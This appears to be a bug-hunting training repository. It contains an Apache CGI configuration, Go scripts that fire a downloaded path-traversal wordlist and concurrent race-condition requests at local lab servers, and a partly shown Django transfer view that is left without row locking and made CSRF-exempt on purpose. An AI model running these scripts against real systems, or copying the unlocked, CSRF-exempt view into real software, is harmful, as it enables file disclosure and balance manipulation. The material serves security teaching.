# 8 | # for a discussion of each configuration directive. 9 | # 10 | # Do NOT simply read the instructions in here without understanding 11 | # what they do. They're here only as hints or reminders. If you are unsure 12 | # consult the online docs. You have been warned. 13 | # 14 | # Configuration and logfile names: If the filenames you specify for many 15 | # of the server's control files begin with "/" (or "drive:/" for Win32), the 16 | # server will use that explicit path. If the filenames do *not* begin 17 | # with "/", the value of ServerRoot is prepended -- so "logs/access_log" 18 | # with ServerRoot set to "/usr/local/apache2" will be interpreted by the 19 | # server as "/usr/local/apache2/logs/access_log", whereas "/logs/access_log" 20 | # will be interpreted as '/logs/access_log'. 21 | 22 | # 23 | # ServerRoot: The top of the directory tree under which the server's 24 | # configuration, error, and log files are kept. 25 | # 26 | # Do not add a slash at the end of the directory path. If you point 27 | # ServerRoot at a non-local disk, be sure to specify a local disk on the 28 | # Mutex directive, if file-based mutexes are used. If you wish to share the 29 | # same ServerRoot for multiple httpd daemons, you will need to change at 30 | # least PidFile. 31 | # 32 | ServerRoot "/usr/local/apache2" 33 | 34 | # 35 | # Mutex: Allows you to set the mutex mechanism and mutex file directory 36 | # for individual mutexes, or change the global defaults 37 | # 38 | # Uncomment and change the directory if mutexes are file-based and the default 39 | # mutex file directory is not on a local disk or is not appropriate for some 40 | # other reason. 41 | # 42 | # Mutex default:logs 43 | 44 | # 45 | # Listen: Allows you to bind Apache to specific IP addresses and/or 46 | # ports, instead of the default. See also the 47 | # directive. 48 | # 49 | # Change this to Listen on specific IP addresses as shown below to 50 | # prevent Apache from glomming onto all bound IP addresses. 51 | # 52 | #Listen 12.34.56.78:80 53 | Listen 80 54 | 55 | # 56 | # Dynamic Shared Object (DSO) Support 57 | # 58 | # To be able to use the functionality of a module which was built as a DSO you 59 | # have to place corresponding `LoadModule' lines at this location so the 60 | # directives contained in it are actually available _before_ they are used. 61 | # Statically compiled modules (those listed by `httpd -l') do not need 62 | # to be loaded here. 63 | # 64 | # Example: 65 | # LoadModule foo_module modules/mod_foo.so 66 | # 67 | LoadModule mpm_event_module modules/mod_mpm_event.so 68 | #LoadModule mpm_prefork_module modules/mod_mpm_prefork.so 69 | #LoadModule mpm_worker_module modules/mod_mpm_worker.so 70 | LoadModule authn_file_module modules/mod_authn_file.so 71 | #LoadModule authn_dbm_module modules/mod_authn_dbm.so 72 | #LoadModule authn_anon_module modules/mod_authn_anon.so 73 | #LoadModule authn_dbd_module modules/mod_authn_dbd.so 74 | #LoadModule authn_socache_module modules/mod_authn_socache.so 75 | LoadModule authn_core_module modules/mod_authn_core.so 76 | LoadModule authz_host_module modules/mod_authz_host.so 77 | LoadModule authz_groupfile_module modules/mod_authz_groupfile.so 78 | LoadModule authz_user_module modules/mod_authz_user.so 79 | #LoadModule authz_dbm_module modules/mod_authz_dbm.so 80 | #LoadModule authz_owner_module modules/mod_authz_owner.so 81 | #LoadModule authz_dbd_module modules/mod_authz_dbd.so 82 | LoadModule authz_core_module modules/mod_authz_core.so 83 | #LoadModule authnz_ldap_module modules/mod_authnz_ldap.so 84 | #LoadModule authnz_fcgi_module modules/mod_authnz_fcgi.so 85 | LoadModule access_compat_module modules/mod_access_compat.so 86 | LoadModule auth_basic_module modules/mod_auth_basic.so 87 | #LoadModule auth_form_module modules/mod_auth_form.so 88 | #LoadModule auth_digest_module modules/mod_auth_digest.so 89 | #LoadModule allowmethods_module modules/mod_allowmethods.so 90 | #LoadModule isapi_module modules/mod_isapi.so 91 | #LoadModule file_cache_module modules/mod_file_cache.so 92 | #LoadModule cache_module modules/mod_cache.so 93 | #LoadModule cache_disk_module modules/mod_cache_disk.so 94 | #LoadModule cache_socache_module modules/mod_cache_socache.so 95 | #LoadModule socache_shmcb_module modules/mod_socache_shmcb.so 96 | #LoadModule socache_dbm_module modules/mod_socache_dbm.so 97 | #LoadModule socache_memcache_module modules/mod_socache_memcache.so 98 | #LoadModule socache_redis_module modules/mod_socache_redis.so 99 | #LoadModule watchdog_module modules/mod_watchdog.so 100 | #LoadModule macro_module modules/mod_macro.so 101 | #LoadModule dbd_module modules/mod_dbd.so 102 | #LoadModule bucketeer_module modules/mod_bucketeer.so 103 | #LoadModule dumpio_module modules/mod_dumpio.so 104 | #LoadModule echo_module modules/mod_echo.so 105 | #LoadModule example_hooks_module modules/mod_example_hooks.so 106 | #LoadModule case_filter_module modules/mod_case_filter.so 107 | #LoadModule case_filter_in_module modules/mod_case_filter_in.so 108 | #LoadModule example_ipc_module modules/mod_example_ipc.so 109 | #LoadModule buffer_module modules/mod_buffer.so 110 | #LoadModule data_module modules/mod_data.so 111 | #LoadModule ratelimit_module modules/mod_ratelimit.so 112 | LoadModule reqtimeout_module modules/mod_reqtimeout.so 113 | #LoadModule ext_filter_module modules/mod_ext_filter.so 114 | #LoadModule request_module modules/mod_request.so 115 | #LoadModule include_module modules/mod_include.so 116 | LoadModule filter_module modules/mod_filter.so 117 | #LoadModule reflector_module modules/mod_reflector.so 118 | #LoadModule substitute_module modules/mod_substitute.so 119 | #LoadModule sed_module modules/mod_sed.so 120 | #LoadModule charset_lite_module modules/mod_charset_lite.so 121 | #LoadModule deflate_module modules/mod_deflate.so 122 | #LoadModule xml2enc_module modules/mod_xml2enc.so 123 | #LoadModule proxy_html_module modules/mod_proxy_html.so 124 | #LoadModule brotli_module modules/mod_brotli.so 125 | LoadModule mime_module modules/mod_mime.so 126 | #LoadModule ldap_module modules/mod_ldap.so 127 | LoadModule log_config_module modules/mod_log_config.so 128 | #LoadModule log_debug_module modules/mod_log_debug.so 129 | #LoadModule log_forensic_module modules/mod_log_forensic.so 130 | #LoadModule logio_module modules/mod_logio.so 131 | #LoadModule lua_module modules/mod_lua.so 132 | LoadModule env_module modules/mod_env.so 133 | #LoadModule mime_magic_module modules/mod_mime_magic.so 134 | #LoadModule cern_meta_module modules/mod_cern_meta.so 135 | #LoadModule expires_module modules/mod_expires.so 136 | LoadModule headers_module modules/mod_headers.so 137 | #LoadModule ident_module modules/mod_ident.so 138 | #LoadModule usertrack_module modules/mod_usertrack.so 139 | #LoadModule unique_id_module modules/mod_unique_id.so 140 | LoadModule setenvif_module modules/mod_setenvif.so 141 | LoadModule version_module modules/mod_version.so 142 | #LoadModule remoteip_module modules/mod_remoteip.so 143 | #LoadModule proxy_module modules/mod_proxy.so 144 | #LoadModule proxy_connect_module modules/mod_proxy_connect.so 145 | #LoadModule proxy_ftp_module modules/mod_proxy_ftp.so 146 | #LoadModule proxy_http_module modules/mod_proxy_http.so 147 | #LoadModule proxy_fcgi_module modules/mod_proxy_fcgi.so 148 | #LoadModule proxy_scgi_module modules/mod_proxy_scgi.so 149 | #LoadModule proxy_uwsgi_module modules/mod_proxy_uwsgi.so 150 | #LoadModule proxy_fdpass_module modules/mod_proxy_fdpass.so 151 | #LoadModule proxy_wstunnel_module modules/mod_proxy_wstunnel.so 152 | #LoadModule proxy_ajp_module modules/mod_proxy_ajp.so 153 | #LoadModule proxy_balancer_module modules/mod_proxy_balancer.so 154 | #LoadModule proxy_express_module modules/mod_proxy_express.so 155 | #LoadModule proxy_hcheck_module modules/mod_proxy_hcheck.so 156 | #LoadModule session_module modules/mod_session.so 157 | #LoadModule session_cookie_module modules/mod_session_cookie.so 158 | #LoadModule session_crypto_module modules/mod_session_crypto.so 159 | #LoadModule session_dbd_module modules/mod_session_dbd.so 160 | #LoadModule slotmem_shm_module modules/mod_slotmem_shm.so 161 | #LoadModule slotmem_plain_module modules/mod_slotmem_plain.so 162 | #LoadModule ssl_module modules/mod_ssl.so 163 | #LoadModule optional_hook_export_module modules/mod_optional_hook_export.so 164 | #LoadModule optional_hook_import_module modules/mod_optional_hook_import.so 165 | #LoadModule optional_fn_import_module modules/mod_optional_fn_import.so 166 | #LoadModule optional_fn_export_module modules/mod_optional_fn_export.so 167 | #LoadModule dialup_module modules/mod_dialup.so 168 | #LoadModule http2_module modules/mod_http2.so 169 | #LoadModule proxy_http2_module modules/mod_proxy_http2.so 170 | #LoadModule md_module modules/mod_md.so 171 | #LoadModule lbmethod_byrequests_module modules/mod_lbmethod_byrequests.so 172 | #LoadModule lbmethod_bytraffic_module modules/mod_lbmethod_bytraffic.so 173 | #LoadModule lbmethod_bybusyness_module modules/mod_lbmethod_bybusyness.so 174 | #LoadModule lbmethod_heartbeat_module modules/mod_lbmethod_heartbeat.so 175 | LoadModule unixd_module modules/mod_unixd.so 176 | #LoadModule heartbeat_module modules/mod_heartbeat.so 177 | #LoadModule heartmonitor_module modules/mod_heartmonitor.so 178 | #LoadModule dav_module modules/mod_dav.so 179 | LoadModule status_module modules/mod_status.so 180 | LoadModule autoindex_module modules/mod_autoindex.so 181 | #LoadModule asis_module modules/mod_asis.so 182 | #LoadModule info_module modules/mod_info.so 183 | #LoadModule suexec_module modules/mod_suexec.so 184 | 185 | #LoadModule cgid_module modules/mod_cgid.so 186 | 187 | 188 | #LoadModule cgi_module modules/mod_cgi.so 189 | 190 | #LoadModule dav_fs_module modules/mod_dav_fs.so 191 | #LoadModule dav_lock_module modules/mod_dav_lock.so 192 | #LoadModule vhost_alias_module modules/mod_vhost_alias.so 193 | #LoadModule negotiation_module modules/mod_negotiation.so 194 | LoadModule dir_module modules/mod_dir.so 195 | #LoadModule imagemap_module modules/mod_imagemap.so 196 | #LoadModule actions_module modules/mod_actions.so 197 | #LoadModule speling_module modules/mod_speling.so 198 | #LoadModule userdir_module modules/mod_userdir.so 199 | LoadModule alias_module modules/mod_alias.so 200 | #LoadModule rewrite_module modules/mod_rewrite.so 201 | 202 | 203 | # 204 | # If you wish httpd to run as a different user or group, you must run 205 | # httpd as root initially and it will switch. 206 | # 207 | # User/Group: The name (or #number) of the user/group to run httpd as. 208 | # It is usually good practice to create a dedicated user and group for 209 | # running httpd, as with most system services. 210 | # 211 | User daemon 212 | Group daemon 213 | 214 | 215 | 216 | # 'Main' server configuration 217 | # 218 | # The directives in this section set up the values used by the 'main' 219 | # server, which responds to any requests that aren't handled by a 220 | # definition. These values also provide defaults for 221 | # any containers you may define later in the file. 222 | # 223 | # All of these directives may appear inside containers, 224 | # in which case these default settings will be overridden for the 225 | # virtual host being defined. 226 | # 227 | 228 | # 229 | # ServerAdmin: Your address, where problems with the server should be 230 | # e-mailed. This address appears on some server-generated pages, such 231 | # as error documents. e.g. admin@your-domain.com 232 | # 233 | ServerAdmin you@example.com 234 | 235 | # 236 | # ServerName gives the name and port that the server uses to identify itself. 237 | # This can often be determined automatically, but we recommend you specify 238 | # it explicitly to prevent problems during startup. 239 | # 240 | # If your host doesn't have a registered DNS name, enter its IP address here. 241 | # 242 | #ServerName www.example.com:80 243 | 244 | # 245 | # Deny access to the entirety of your server's filesystem. You must 246 | # explicitly permit access to web content directories in other 247 | # blocks below. 248 | # 249 | 250 | AllowOverride none 251 | Require all granted 252 | 253 | 254 | # 255 | # Note that from this point forward you must specifically allow 256 | # particular features to be enabled - so if something's not working as 257 | # you might expect, make sure that you have specifically enabled it 258 | # below. 259 | # 260 | 261 | # 262 | # DocumentRoot: The directory out of which you will serve your 263 | # documents. By default, all requests are taken from this directory, but 264 | # symbolic links and aliases may be used to point to other locations. 265 | # 266 | DocumentRoot "/usr/local/apache2/htdocs" 267 | 268 | # 269 | # Possible values for the Options directive are "None", "All", 270 | # or any combination of: 271 | # Indexes Includes FollowSymLinks SymLinksifOwnerMatch ExecCGI MultiViews 272 | # 273 | # Note that "MultiViews" must be named *explicitly* --- "Options All" 274 | # doesn't give it to you. 275 | # 276 | # The Options directive is both complicated and important. Please see 277 | # http://httpd.apache.org/docs/2.4/mod/core.html#options 278 | # for more information. 279 | # 280 | Options Indexes FollowSymLinks 281 | 282 | # 283 | # AllowOverride controls what directives may be placed in .htaccess files. 284 | # It can be "All", "None", or any combination of the keywords: 285 | # AllowOverride FileInfo AuthConfig Limit 286 | # 287 | AllowOverride None 288 | 289 | # 290 | # Controls who can get stuff from this server. 291 | # 292 | Require all granted 293 | 294 | 295 | # 296 | # DirectoryIndex: sets the file that Apache will serve if a directory 297 | # is requested. 298 | # 299 | 300 | DirectoryIndex index.html 301 | 302 | 303 | # 304 | # The following lines prevent .htaccess and .htpasswd files from being 305 | # viewed by Web clients. 306 | # 307 | 308 | Require all denied 309 | 310 | 311 | # 312 | # ErrorLog: The location of the error log file. 313 | # If you do not specify an ErrorLog directive within a 314 | # container, error messages relating to that virtual host will be 315 | # logged here. If you *do* define an error logfile for a 316 | # container, that host's errors will be logged there and not here. 317 | # 318 | ErrorLog /proc/self/fd/2 319 | 320 | # 321 | # LogLevel: Control the number of messages logged to the error_log. 322 | # Possible values include: debug, info, notice, warn, error, crit, 323 | # alert, emerg. 324 | # 325 | LogLevel warn 326 | 327 | 328 | # 329 | # The following directives define some format nicknames for use with 330 | # a CustomLog directive (see below). 331 | # 332 | LogFormat "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"" combined 333 | LogFormat "%h %l %u %t \"%r\" %>s %b" common 334 | 335 | 336 | # You need to enable mod_logio.c to use %I and %O 337 | LogFormat "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\" %I %O" combinedio 338 | 339 | 340 | # 341 | # The location and format of the access logfile (Common Logfile Format). 342 | # If you do not define any access logfiles within a 343 | # container, they will be logged here. Contrariwise, if you *do* 344 | # define per- access logfiles, transactions will be 345 | # logged therein and *not* in this file. 346 | # 347 | CustomLog /proc/self/fd/1 common 348 | 349 | # 350 | # If you prefer a logfile with access, agent, and referer information 351 | # (Combined Logfile Format) you can use the following directive. 352 | # 353 | #CustomLog "logs/access_log" combined 354 | 355 | 356 | 357 | # 358 | # Redirect: Allows you to tell clients about documents that used to 359 | # exist in your server's namespace, but do not anymore. The client 360 | # will make a new request for the document at its new location. 361 | # Example: 362 | # Redirect permanent /foo http://www.example.com/bar 363 | 364 | # 365 | # Alias: Maps web paths into filesystem paths and is used to 366 | # access content that does not live under the DocumentRoot. 367 | # Example: 368 | # Alias /webpath /full/filesystem/path 369 | # 370 | # If you include a trailing / on /webpath then the server will 371 | # require it to be present in the URL. You will also likely 372 | # need to provide a section to allow access to 373 | # the filesystem path. 374 | 375 | # 376 | # ScriptAlias: This controls which directories contain server scripts. 377 | # ScriptAliases are essentially the same as Aliases, except that 378 | # documents in the target directory are treated as applications and 379 | # run by the server when requested rather than as documents sent to the 380 | # client. The same rules about trailing "/" apply to ScriptAlias 381 | # directives as to Alias. 382 | # 383 | ScriptAlias /cgi-bin/ "/usr/local/apache2/cgi-bin/" 384 | 385 | 386 | 387 | 388 | # 389 | # ScriptSock: On threaded servers, designate the path to the UNIX 390 | # socket used to communicate with the CGI daemon of mod_cgid. 391 | # 392 | #Scriptsock cgisock 393 | 394 | 395 | # 396 | # "/usr/local/apache2/cgi-bin" should be changed to whatever your ScriptAliased 397 | # CGI directory exists, if you have that configured. 398 | # 399 | 400 | AllowOverride None 401 | Options None 402 | Require all granted 403 | 404 | 405 | 406 | # 407 | # Avoid passing HTTP_PROXY environment to CGI's on this or any proxied 408 | # backend servers which have lingering "httpoxy" defects. 409 | # 'Proxy' request header is undefined by the IETF, not listed by IANA 410 | # 411 | RequestHeader unset Proxy early 412 | 413 | 414 | 415 | # 416 | # TypesConfig points to the file containing the list of mappings from 417 | # filename extension to MIME-type. 418 | # 419 | TypesConfig conf/mime.types 420 | 421 | # 422 | # AddType allows you to add to or override the MIME configuration 423 | # file specified in TypesConfig for specific file types. 424 | # 425 | #AddType application/x-gzip .tgz 426 | # 427 | # AddEncoding allows you to have certain browsers uncompress 428 | # information on the fly. Note: Not all browsers support this. 429 | # 430 | #AddEncoding x-compress .Z 431 | #AddEncoding x-gzip .gz .tgz 432 | # 433 | # If the AddEncoding directives above are commented-out, then you 434 | # probably should define those extensions to indicate media types: 435 | # 436 | AddType application/x-compress .Z 437 | AddType application/x-gzip .gz .tgz 438 | 439 | # 440 | # AddHandler allows you to map certain file extensions to "handlers": 441 | # actions unrelated to filetype. These can be either built into the server 442 | # or added with the Action directive (see below) 443 | # 444 | # To use CGI scripts outside of ScriptAliased directories: 445 | # (You will also need to add "ExecCGI" to the "Options" directive.) 446 | # 447 | #AddHandler cgi-script .cgi 448 | 449 | # For type maps (negotiated resources): 450 | #AddHandler type-map var 451 | 452 | # 453 | # Filters allow you to process content before it is sent to the client. 454 | # 455 | # To parse .shtml files for server-side includes (SSI): 456 | # (You will also need to add "Includes" to the "Options" directive.) 457 | # 458 | #AddType text/html .shtml 459 | #AddOutputFilter INCLUDES .shtml 460 | 461 | 462 | # 463 | # The mod_mime_magic module allows the server to use various hints from the 464 | # contents of the file itself to determine its type. The MIMEMagicFile 465 | # directive tells the module where the hint definitions are located. 466 | # 467 | #MIMEMagicFile conf/magic 468 | 469 | # 470 | # Customizable error responses come in three flavors: 471 | # 1) plain text 2) local redirects 3) external redirects 472 | # 473 | # Some examples: 474 | #ErrorDocument 500 "The server made a boo boo." 475 | #ErrorDocument 404 /missing.html 476 | #ErrorDocument 404 "/cgi-bin/missing_handler.pl" 477 | #ErrorDocument 402 http://www.example.com/subscription_info.html 478 | # 479 | 480 | # 481 | # MaxRanges: Maximum number of Ranges in a request before 482 | # returning the entire resource, or one of the special 483 | # values 'default', 'none' or 'unlimited'. 484 | # Default setting is to accept 200 Ranges. 485 | #MaxRanges unlimited 486 | 487 | # 488 | # EnableMMAP and EnableSendfile: On systems that support it, 489 | # memory-mapping or the sendfile syscall may be used to deliver 490 | # files. This usually improves server performance, but must 491 | # be turned off when serving from networked-mounted 492 | # filesystems or if support for these functions is otherwise 493 | # broken on your system. 494 | # Defaults: EnableMMAP On, EnableSendfile Off 495 | # 496 | #EnableMMAP off 497 | #EnableSendfile on 498 | 499 | # Supplemental configuration 500 | # 501 | # The configuration files in the conf/extra/ directory can be 502 | # included to add extra features or to modify the default configuration of 503 | # the server, or you may simply copy their contents here and change as 504 | # necessary. 505 | 506 | # Server-pool management (MPM specific) 507 | #Include conf/extra/httpd-mpm.conf 508 | 509 | # Multi-language error messages 510 | #Include conf/extra/httpd-multilang-errordoc.conf 511 | 512 | # Fancy directory listings 513 | #Include conf/extra/httpd-autoindex.conf 514 | 515 | # Language settings 516 | #Include conf/extra/httpd-languages.conf 517 | 518 | # User home directories 519 | #Include conf/extra/httpd-userdir.conf 520 | 521 | # Real-time info on requests and configuration 522 | #Include conf/extra/httpd-info.conf 523 | 524 | # Virtual hosts 525 | #Include conf/extra/httpd-vhosts.conf 526 | 527 | # Local access to the Apache HTTP Server Manual 528 | #Include conf/extra/httpd-manual.conf 529 | 530 | # Distributed authoring and versioning (WebDAV) 531 | #Include conf/extra/httpd-dav.conf 532 | 533 | # Various default settings 534 | #Include conf/extra/httpd-default.conf 535 | 536 | # Configure mod_proxy_html to understand HTML4/XHTML1 537 | 538 | Include conf/extra/proxy-html.conf 539 | 540 | 541 | # Secure (SSL/TLS) connections 542 | #Include conf/extra/httpd-ssl.conf 543 | # 544 | # Note: The following must must be present to support 545 | # starting without SSL on platforms with no /dev/random equivalent 546 | # but a statically compiled-in mod_ssl. 547 | # 548 | 549 | SSLRandomSeed startup builtin 550 | SSLRandomSeed connect builtin 551 | 552 | -------------------------------------------------------------------------------- /path_traversal/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "io/ioutil" 6 | "log" 7 | "net/http" 8 | "strings" 9 | ) 10 | 11 | func HttpGet(url string) string { 12 | req, err := http.NewRequest("GET", url, nil) 13 | if err != nil { 14 | panic(err) 15 | } 16 | client := new(http.Client) 17 | response, err := client.Do(req) 18 | if err != nil { 19 | log.Fatal(err) 20 | } 21 | if response.StatusCode != 200 { 22 | return "" 23 | } 24 | body, err := ioutil.ReadAll(response.Body) 25 | if err != nil { 26 | log.Fatal(err) 27 | } 28 | return string(body) 29 | } 30 | 31 | func main() { 32 | target := "http://localhost:81/cgi-bin/%s" 33 | payload := HttpGet("https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/Injections/Traversal.txt") 34 | lstPayload := strings.Split(payload, "\n") 35 | for _, value := range lstPayload { 36 | value = strings.Replace(value, "\r", "", -1) 37 | value = strings.Replace(value, "\t", "", -1) 38 | url := fmt.Sprintf(target, value) 39 | ret := HttpGet(url) 40 | if ret != "" { 41 | fmt.Println(ret) 42 | } 43 | } 44 | } 45 | -------------------------------------------------------------------------------- /race_condition/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "net/http" 6 | "net/url" 7 | "sync" 8 | ) 9 | 10 | const ( 11 | NUMSEQ = 10 12 | ) 13 | 14 | func main() { 15 | Url := "http://127.0.0.1/demo/row_locking_atomic_long_delay/" 16 | param := url.Values{ 17 | "account": {"5"}, 18 | "amount": {"10"}, 19 | } 20 | var wg sync.WaitGroup 21 | wg.Add(NUMSEQ) 22 | for i := 1; i <= NUMSEQ; i++ { 23 | go func(i int) { 24 | defer wg.Done() 25 | resp, err := http.PostForm(Url, param) 26 | if err != nil { 27 | fmt.Println(err) 28 | } 29 | defer resp.Body.Close() 30 | fmt.Println(i, Url, resp.StatusCode) 31 | }(i) 32 | } 33 | wg.Wait() 34 | 35 | } 36 | -------------------------------------------------------------------------------- /race_condition/race_app/race_live/.idea/.gitignore: -------------------------------------------------------------------------------- 1 | # Default ignored files 2 | /shelf/ 3 | /workspace.xml 4 | # Datasource local storage ignored files 5 | /dataSources/ 6 | /dataSources.local.xml 7 | # Editor-based HTTP Client requests 8 | /httpRequests/ 9 | -------------------------------------------------------------------------------- /race_condition/race_app/race_live/.idea/dataSources.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | postgresql 6 | true 7 | org.postgresql.Driver 8 | jdbc:postgresql://localhost:5432/postgres 9 | $ProjectFileDir$ 10 | 11 | 12 | -------------------------------------------------------------------------------- /race_condition/race_app/race_live/.idea/inspectionProfiles/Project_Default.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 24 | -------------------------------------------------------------------------------- /race_condition/race_app/race_live/.idea/inspectionProfiles/profiles_settings.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 6 | -------------------------------------------------------------------------------- /race_condition/race_app/race_live/.idea/misc.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /race_condition/race_app/race_live/.idea/modules.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /race_condition/race_app/race_live/.idea/race_live.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 29 | 30 | -------------------------------------------------------------------------------- /race_condition/race_app/race_live/manage.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | """Django's command-line utility for administrative tasks.""" 3 | import os 4 | import sys 5 | 6 | 7 | def main(): 8 | """Run administrative tasks.""" 9 | os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'race_live.settings') 10 | try: 11 | from django.core.management import execute_from_command_line 12 | except ImportError as exc: 13 | raise ImportError( 14 | "Couldn't import Django. Are you sure it's installed and " 15 | "available on your PYTHONPATH environment variable? Did you " 16 | "forget to activate a virtual environment?" 17 | ) from exc 18 | execute_from_command_line(sys.argv) 19 | 20 | 21 | if __name__ == '__main__': 22 | main() 23 | -------------------------------------------------------------------------------- /race_condition/race_app/race_live/race_app/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ravro-ir/golang_bug_hunting/581a906f415d43f972c04bd6ee075f66f79afc7d/race_condition/race_app/race_live/race_app/__init__.py -------------------------------------------------------------------------------- /race_condition/race_app/race_live/race_app/__pycache__/__init__.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ravro-ir/golang_bug_hunting/581a906f415d43f972c04bd6ee075f66f79afc7d/race_condition/race_app/race_live/race_app/__pycache__/__init__.cpython-310.pyc -------------------------------------------------------------------------------- /race_condition/race_app/race_live/race_app/__pycache__/admin.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ravro-ir/golang_bug_hunting/581a906f415d43f972c04bd6ee075f66f79afc7d/race_condition/race_app/race_live/race_app/__pycache__/admin.cpython-310.pyc -------------------------------------------------------------------------------- /race_condition/race_app/race_live/race_app/__pycache__/apps.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ravro-ir/golang_bug_hunting/581a906f415d43f972c04bd6ee075f66f79afc7d/race_condition/race_app/race_live/race_app/__pycache__/apps.cpython-310.pyc -------------------------------------------------------------------------------- /race_condition/race_app/race_live/race_app/__pycache__/models.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ravro-ir/golang_bug_hunting/581a906f415d43f972c04bd6ee075f66f79afc7d/race_condition/race_app/race_live/race_app/__pycache__/models.cpython-310.pyc -------------------------------------------------------------------------------- /race_condition/race_app/race_live/race_app/__pycache__/views.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ravro-ir/golang_bug_hunting/581a906f415d43f972c04bd6ee075f66f79afc7d/race_condition/race_app/race_live/race_app/__pycache__/views.cpython-310.pyc -------------------------------------------------------------------------------- /race_condition/race_app/race_live/race_app/admin.py: -------------------------------------------------------------------------------- 1 | from django.contrib import admin 2 | 3 | # Register your models here. 4 | -------------------------------------------------------------------------------- /race_condition/race_app/race_live/race_app/apps.py: -------------------------------------------------------------------------------- 1 | from django.apps import AppConfig 2 | 3 | 4 | class RaceAppConfig(AppConfig): 5 | default_auto_field = 'django.db.models.BigAutoField' 6 | name = 'race_app' 7 | -------------------------------------------------------------------------------- /race_condition/race_app/race_live/race_app/migrations/0001_initial.py: -------------------------------------------------------------------------------- 1 | # Generated by Django 4.0.6 on 2022-07-13 07:39 2 | 3 | from django.db import migrations, models 4 | import django.db.models.deletion 5 | 6 | 7 | class Migration(migrations.Migration): 8 | 9 | initial = True 10 | 11 | dependencies = [ 12 | ] 13 | 14 | operations = [ 15 | migrations.CreateModel( 16 | name='Account', 17 | fields=[ 18 | ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), 19 | ('balance', models.IntegerField(default=0)), 20 | ], 21 | ), 22 | migrations.CreateModel( 23 | name='Transaction', 24 | fields=[ 25 | ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), 26 | ('amount', models.IntegerField(default=0)), 27 | ('timestamp', models.DateTimeField(auto_now=True)), 28 | ('account', models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, to='race_app.account')), 29 | ], 30 | ), 31 | ] 32 | -------------------------------------------------------------------------------- /race_condition/race_app/race_live/race_app/migrations/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ravro-ir/golang_bug_hunting/581a906f415d43f972c04bd6ee075f66f79afc7d/race_condition/race_app/race_live/race_app/migrations/__init__.py -------------------------------------------------------------------------------- /race_condition/race_app/race_live/race_app/migrations/__pycache__/0001_initial.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ravro-ir/golang_bug_hunting/581a906f415d43f972c04bd6ee075f66f79afc7d/race_condition/race_app/race_live/race_app/migrations/__pycache__/0001_initial.cpython-310.pyc -------------------------------------------------------------------------------- /race_condition/race_app/race_live/race_app/migrations/__pycache__/__init__.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ravro-ir/golang_bug_hunting/581a906f415d43f972c04bd6ee075f66f79afc7d/race_condition/race_app/race_live/race_app/migrations/__pycache__/__init__.cpython-310.pyc -------------------------------------------------------------------------------- /race_condition/race_app/race_live/race_app/models.py: -------------------------------------------------------------------------------- 1 | from django.db import models 2 | 3 | 4 | class Account(models.Model): 5 | balance = models.IntegerField(default=0) 6 | 7 | def __str__(self): 8 | return f"Account #{self.id}" 9 | 10 | class Transaction(models.Model): 11 | account = models.ForeignKey(Account, on_delete=models.SET_NULL, null=True) 12 | amount = models.IntegerField(default=0) 13 | timestamp = models.DateTimeField(auto_now=True) 14 | 15 | def __str__(self): 16 | return f"<{self.account_id}, {self.amount}, {self.timestamp.isoformat()}>" 17 | -------------------------------------------------------------------------------- /race_condition/race_app/race_live/race_app/tests.py: -------------------------------------------------------------------------------- 1 | from django.test import TestCase 2 | 3 | # Create your tests here. 4 | -------------------------------------------------------------------------------- /race_condition/race_app/race_live/race_app/views.py: -------------------------------------------------------------------------------- 1 | import random 2 | import time 3 | from django.db import transaction 4 | from django.http import HttpRequest, HttpResponse 5 | # Only because this is a quick and simple demo 6 | from django.views.decorators.csrf import csrf_exempt 7 | from .models import Account, Transaction 8 | 9 | 10 | def random_delay() -> int: 11 | # Simulate random factors such as processing and validating the data, and 12 | # this one stupid network call that I was making for realtime related stuff 13 | # (which should have been put in a queue and delegated to a worker process). 14 | time.sleep(random.randint(3, 10)) 15 | 16 | 17 | @csrf_exempt 18 | def atomic_long_delay(request: HttpRequest) -> HttpResponse: 19 | """ 20 | In this example, we: 21 | - Use an atomic code block 22 | - Introduce a long (possibly random) time gap between when we read 23 | v/s when we commit the transaction (end of the atomic code block). 24 | - Don't use row locking. 25 | 26 | In this case if we have more than 1 (sync) gunicorn worker running and 27 | the frequency of requests to this endpoint (or any endpoint modifying the 28 | account balance) is greater than the time it takes for the atomic code 29 | block to run, then we can expect race conditions to occur. 30 | 31 | Typically, these kinds of things won't be found in development (unless you 32 | have really experienced dev teams with good code review skills). 33 | 34 | Note: We are not using using F() expressions due to complexities in the 35 | business logic. The random_delay represents processing the data related 36 | to the account and the request. During this time, we really don't want 37 | anything else to be using the account data (due to the risk of reading 38 | stale data). 39 | """ 40 | try: 41 | account_id = int(request.POST["account"]) 42 | amount = 